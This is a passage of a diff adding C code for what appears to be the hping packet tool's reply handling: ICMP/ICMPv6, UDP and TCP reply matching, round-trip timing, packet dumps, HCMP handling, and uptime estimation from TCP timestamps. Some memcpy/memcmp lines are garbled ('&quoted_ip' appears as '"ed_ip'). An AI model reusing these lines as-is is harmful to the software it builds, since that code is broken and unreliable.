log_icmp_addr(packet+ICMPHDR_SIZE); + else + printf("[|icmp subnet address]\n"); + } + notrace = 1; + return 1; + } + /* ------------------------------------ * + * ICMP DEST UNREACHABLE, TIME EXCEEDED * + * ------------------------------------ */ + else if (icmp->type == 3 || icmp->type == 11) { + if ((size - ICMPHDR_SIZE) < sizeof(struct myiphdr)) { + printf("[|icmp quoted ip]\n"); + return 0; + } + memcpy("ed_ip, packet+ICMPHDR_SIZE, sizeof(quoted_ip)); + if (memcmp("ed_ip.daddr, &ADDR4(&remote), + sizeof(quoted_ip.daddr)) || + memcmp(&ip->daddr, &ADDR4(&local), sizeof(ip->daddr))) + return 0; /* addresses don't match */ + /* Now we can handle the specific type */ + switch(icmp->type) { + case 3: + if (!opt_quiet) + log_icmp_unreach(inet_ntoa(src), icmp->code); + notrace = 1; + return 1; + case 11: + if (opt_traceroute) + log_traceroute(packet, size, icmp->code); + else + { + log_icmp_timeexc(inet_ntoa(src), icmp->code); + putchar('\n'); + notrace = 1; + } + return 1; + } + } + + return 0; /* don't match */ +} + +int recv_icmp6(void *packet, size_t size) +{ + struct myicmphdr *icmp; + struct myip6hdr *quoted_ip; + char tmp[1024]; + + /* Check if the packet can contain the ICMP header */ + if (size < ICMPHDR_SIZE) { + printf("[|icmp]\n"); + return 0; + } + icmp = (struct myicmphdr *)packet; + + /* --------------------------- * + * ICMP ECHO/TIMESTAMP/ADDRESS * + * --------------------------- */ + if (icmp->type == ICMP6_ECHOREPLY && + icmp->un.echo.id == (getpid() & 0xffff)) + { + int icmp_seq = icmp->un.echo.sequence; + int status; + float ms_delay; + + /* obtain round trip time */ + status = rtt(&icmp_seq, 0, &ms_delay); + log_ip(status, icmp_seq); + + printf("icmp_seq=%d rtt=%.1f ms\n", icmp_seq, ms_delay); + notrace = 1; + return 1; + } + /* ------------------------------------ * + * ICMP DEST UNREACHABLE, TIME EXCEEDED * + * ------------------------------------ */ + if ((size - ICMPHDR_SIZE) < sizeof(struct myip6hdr)) { + printf("[|icmp quoted ip]\n"); + return 0; + } + quoted_ip = (struct myip6hdr *)(packet + ICMPHDR_SIZE); + if(memcmp(quoted_ip->daddr, &ADDR6(&remote), + sizeof(quoted_ip->daddr)) || + memcmp(ip6->daddr, &ADDR6(&local), sizeof(ip6->daddr))) + return 0; /* addresses don't match */ + /* Now we can handle the specific type */ + switch(icmp->type) { + case 1: + if (!opt_quiet) + log_icmp6_unreach(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), icmp->code); + notrace = 1; + return 1; + case 2: + if (!opt_quiet) + log_icmp6_ptb(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), ntohl(icmp->un.mtu)); + notrace = 1; + return 1; + case 3: + if (opt_traceroute) + log_traceroute(packet, size, icmp->code); + else + { + log_icmp_timeexc(inet_ntop(opt_af, &src6, tmp, sizeof(tmp)), icmp->code); + putchar('\n'); + notrace = 1; + } + return 1; + } + + return 0; /* don't match */ +} + +int recv_udp(void *packet, size_t size) +{ + struct myudphdr udp; + int sequence = 0, status; + float ms_delay; + + if (size < UDPHDR_SIZE) { + printf("[|udp]\n"); + return 0; + } + memcpy(&udp, packet, sizeof(udp)); + + /* check if the packet matches */ + if ((ntohs(udp.uh_sport) == dst_port) || + (opt_force_incdport && + (ntohs(udp.uh_sport) >= base_dst_port && + ntohs(udp.uh_sport) <= dst_port))) + { + status = rtt(&sequence, ntohs(udp.uh_dport), &ms_delay); + if (!opt_quiet) { + log_ip(status, sequence); + printf("seq=%d rtt=%.1f ms\n", sequence, ms_delay); + } + if (opt_incdport && !opt_force_incdport) + dst_port++; + notrace = 1; + return 1; + } + return 0; +} + +int recv_tcp(void *packet, size_t size) +{ + struct mytcphdr tcp; + int sequence = 0, status; + float ms_delay; + char flags[16]; + + if (size < TCPHDR_SIZE) { + printf("[|tcp]\n"); + return 0; + } + memcpy(&tcp, packet, sizeof(tcp)); + + /* check if the packet matches */ + if ((ntohs(tcp.th_sport) == dst_port) || + (opt_force_incdport && + (ntohs(tcp.th_sport) >= base_dst_port && + ntohs(tcp.th_sport) <= dst_port))) + { + tcp_exitcode = tcp.th_flags; + + status = rtt(&sequence, ntohs(tcp.th_dport), &ms_delay); + + if (opt_seqnum) { + static __u32 old_th_seq = 0; + __u32 seq_diff, tmp; + + tmp = ntohl(tcp.th_seq); + if (tmp >= old_th_seq) + seq_diff = tmp - old_th_seq; + else + seq_diff = (4294967295U - old_th_seq) + + tmp; + old_th_seq = tmp; + printf("%10lu +%lu\n", + (unsigned long) tmp, + (unsigned long) seq_diff); + goto out; + } + + if (opt_quiet) + goto out; + + flags[0] = '\0'; + if (tcp.th_flags & TH_RST) strcat(flags, "R"); + if (tcp.th_flags & TH_SYN) strcat(flags, "S"); + if (tcp.th_flags & TH_ACK) strcat(flags, "A"); + if (tcp.th_flags & TH_FIN) strcat(flags, "F"); + if (tcp.th_flags & TH_PUSH) strcat(flags, "P"); + if (tcp.th_flags & TH_URG) strcat(flags, "U"); + if (tcp.th_flags & TH_X) strcat(flags, "X"); + if (tcp.th_flags & TH_Y) strcat(flags, "Y"); + if (flags[0] == '\0') strcat(flags, "none"); + + log_ip(status, sequence); + printf("sport=%d flags=%s seq=%d win=%d rtt=%.1f ms\n", + ntohs(tcp.th_sport), flags, sequence, + ntohs(tcp.th_win), ms_delay); + + if (opt_verbose) { + printf("seq=%lu ack=%lu sum=%x urp=%u\n\n", + (unsigned long) ntohl(tcp.th_seq), + (unsigned long) ntohl(tcp.th_ack), + tcp.th_sum, ntohs(tcp.th_urp)); + } + + /* Get and log the TCP timestamp */ + if (opt_tcp_timestamp) + print_tcp_timestamp(packet, size); +out: + if (opt_incdport && !opt_force_incdport) + dst_port++; + notrace = 1; + return 1; + } + return 0; +} + +/* Try to extract information about the original packet from the + * ICMP error to obtain the round time trip + * + * Note that size is the the packet size starting from the + * IP packet quoted in the ICMP error, it may be negative + * if the ICMP is broken */ +static int +icmp_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay) +{ + int src_port; + int sequence = 0; + int quoted_iphdr_size; + struct myudphdr udp; + struct myicmphdr icmp; + struct myiphdr qip; + + /* The user specified --no-rtt */ + if (opt_tr_no_rtt) + return -1; + + if (size < sizeof(struct myiphdr)) + return -1; + memcpy(&qip, quoted_ip, sizeof(struct myiphdr)); + quoted_iphdr_size = qip.ihl << 2; + /* Ok, enough room, try to get the rtt, + * but check if the original packet was an UDP/TCP one */ + if (qip.protocol == IPPROTO_TCP || + qip.protocol == IPPROTO_UDP) { + /* We need at least 2 bytes of the quoted UDP/TCP header + * for the source port */ + if ((size - quoted_iphdr_size) < 2) + return -1; + + /* Use the UDP header for both UDP and TCP, they are + * the same in the 4 first bytes (source and dest port) */ + memcpy(&udp, quoted_ip+quoted_iphdr_size, sizeof(udp)); + src_port = htons(udp.uh_sport); + return rtt(&sequence, src_port, ms_delay); + } else if (qip.protocol == IPPROTO_ICMP) { + int s; + + /* We need the whole 8 byte ICMP header to get + * the sequence field, also the type must be + * ICMP_ECHO */ + memcpy(&icmp, quoted_ip+quoted_iphdr_size, sizeof(icmp)); + if ((size - quoted_iphdr_size) < 8 || + icmp.type != ICMP_ECHO) + return -1; + + s = icmp.un.echo.sequence; + return rtt(&s, 0, ms_delay); + } + return -1; /* no way */ +} + +static int +icmp6_unreach_rtt(void *quoted_ip, int size, int *seqp, float *ms_delay) +{ + int src_port; + int sequence = 0; + struct myudphdr udp; + struct myicmphdr icmp; + struct myip6hdr *qip; + + /* The user specified --no-rtt */ + if (opt_tr_no_rtt) + return -1; + + if (size < sizeof(struct myip6hdr)) + return -1; + qip = (struct myip6hdr *)quoted_ip; + + /* Ok, enough room, try to get the rtt, + * but check if the original packet was an UDP/TCP one */ + if (qip->nextheader == IPPROTO_TCP || + qip->nextheader == IPPROTO_UDP) { + /* We need at least 2 bytes of the quoted UDP/TCP header + * for the source port */ + if ((size - IP6HDR_SIZE) < 2) + return -1; + + /* Use the UDP header for both UDP and TCP, they are + * the same in the 4 first bytes (source and dest port) */ + memcpy(&udp, quoted_ip + IP6HDR_SIZE, sizeof(udp)); + src_port = htons(udp.uh_sport); + return rtt(&sequence, src_port, ms_delay); + } else if (qip->nextheader == 58) { + int s; + + /* We need the whole 8 byte ICMP header to get + * the sequence field, also the type must be + * ICMP_ECHO */ + memcpy(&icmp, quoted_ip + IP6HDR_SIZE, sizeof(icmp)); + if ((size - IP6HDR_SIZE) < 8 || + icmp.type != ICMP6_ECHO) + return -1; + + s = icmp.un.echo.sequence; + return rtt(&s, 0, ms_delay); + } + return -1; /* no way */ +} + +void print_tcp_timestamp(void *tcp, int tcpsize) +{ + int optlen; + unsigned char *opt; + __u32 tstamp, echo; + static __u32 last_tstamp = 0; + struct mytcphdr tmptcphdr; + unsigned int tcphdrlen; + + if (tcpsize < TCPHDR_SIZE) + return; + memcpy(&tmptcphdr, tcp, sizeof(struct mytcphdr)); + tcphdrlen = tmptcphdr.th_off * 4; + + /* bad len or no options in the TCP header */ + if (tcphdrlen <= 20 || tcphdrlen < tcpsize) + return; + optlen = tcphdrlen - TCPHDR_SIZE; + opt = (unsigned char*)tcp + TCPHDR_SIZE; /* skips the TCP fix header */ + while(optlen) { + switch(*opt) { + case 0: /* end of option */ + return; + case 1: /* noop */ + opt++; + optlen--; + continue; + default: + if (optlen < 2) + return; + if (opt[1] > optlen) + return; + if (opt[0] != 8) { /* not timestamp */ + optlen -= opt[1]; + opt += opt[1]; + continue; + } + /* timestamp found */ + if (opt[1] != 10) /* bad len */ + return; + memcpy(&tstamp, opt+2, 4); + memcpy(&echo, opt+6, 4); + tstamp = ntohl(tstamp); + echo = ntohl(echo); + goto found; + } + } +found: + printf(" TCP timestamp: tcpts=%u\n", tstamp); + if (last_tstamp && !opt_waitinusec) { + int tsdiff = (tstamp - last_tstamp) / sending_wait; + int hz_set[] = { 2, 10, 100, 1000, 0 }; + int hzdiff = -1; + int hz = 0, sec; + int days, hours, minutes; + if (tsdiff > 0) { + int i = 0; + while(hz_set[i]) { + if (hzdiff == -1) { + hzdiff = ABS(tsdiff-hz_set[i]); + hz = hz_set[i]; + } else if (hzdiff > ABS(tsdiff-hz_set[i])) { + hzdiff = ABS(tsdiff-hz_set[i]); + hz = hz_set[i]; + } + i++; + } + printf(" HZ seems hz=%d\n", hz); + sec = tstamp/hz; /* Get the uptime in seconds */ + days = sec / (3600*24); + sec %= 3600*24; + hours = sec / 3600; + sec %= 3600; + minutes = sec / 60; + sec %= 60; + printf(" System uptime seems: %d days, %d hours, " + "%d minutes, %d seconds\n", + days, hours, minutes, sec); + } + } + printf("\n"); + last_tstamp = tstamp; +} + +/* This function is exported to listen.c also */ +int read_packet(void *packet, int size) +{ +#if (!defined OSTYPE_LINUX) || (defined FORCE_LIBPCAP) + size = pcap_recv(packet, size); + if (size == -1) + perror("[wait_packet] pcap_recv()"); +#else + size = recv(sockpacket, packet, size, 0); + if (size == -1) { + if (errno != EINTR) + perror("[wait_packet] recv"); + else + return 0; + } +#endif + return size; +} + +void hex_dump(void *packet, int size) +{ + unsigned char *byte = packet; + int count = 0; + + printf("\t\t"); + for (; byte < (unsigned char*) (packet+size); byte++) { + count++; + printf("%02x", *byte); + if (count % 2 == 0) printf(" "); + if (count % 16 == 0) printf("\n\t\t"); + } + printf("\n\n"); +} + +void human_dump(void *packet, int size) +{ + unsigned char *byte = packet; + int count = 0; + + printf("\t\t"); + for (; byte < (unsigned char*) (packet+size); byte++) { + count ++; + if (isprint(*byte)) + printf("%c", *byte); + else + printf("."); + if (count % 32 == 0) printf("\n\t\t"); + } + printf("\n\n"); +} + +void handle_hcmp(char *packet, int size) +{ + char *p; + struct hcmphdr hcmph; + unsigned int seq; + + /* Search for the reverse signature inside the packet */ + if ((p = memstr(packet, rsign, size)) == NULL) + return; + + if (opt_debug) + fprintf(stderr, "DEBUG: HCMP received\n"); + + p+=strlen(rsign); + if ((size-(packet-p)) < sizeof(struct hcmphdr)) { + if (opt_verbose || opt_debug) + fprintf(stderr, "bad HCMP len received\n"); + return; + } + + memcpy(&hcmph, p, sizeof(hcmph)); + + switch(hcmph.type) { + case HCMP_RESTART: + seq = ntohs(hcmph.typedep.seqnum); + src_id = seq; /* set the id */ + datafiller(NULL, seq); /* data seek */ + if (opt_debug) + printf("DEBUG: HCMP restart from %d\n", + seq); + return; + case HCMP_SOURCE_QUENCH: + case HCMP_SOURCE_STIRUP: + printf("HCMP source quench/stirup received\n"); + return; + default: + if (opt_verbose || opt_debug) + fprintf(stderr, "bad HCMP type received\n"); + return; + } +}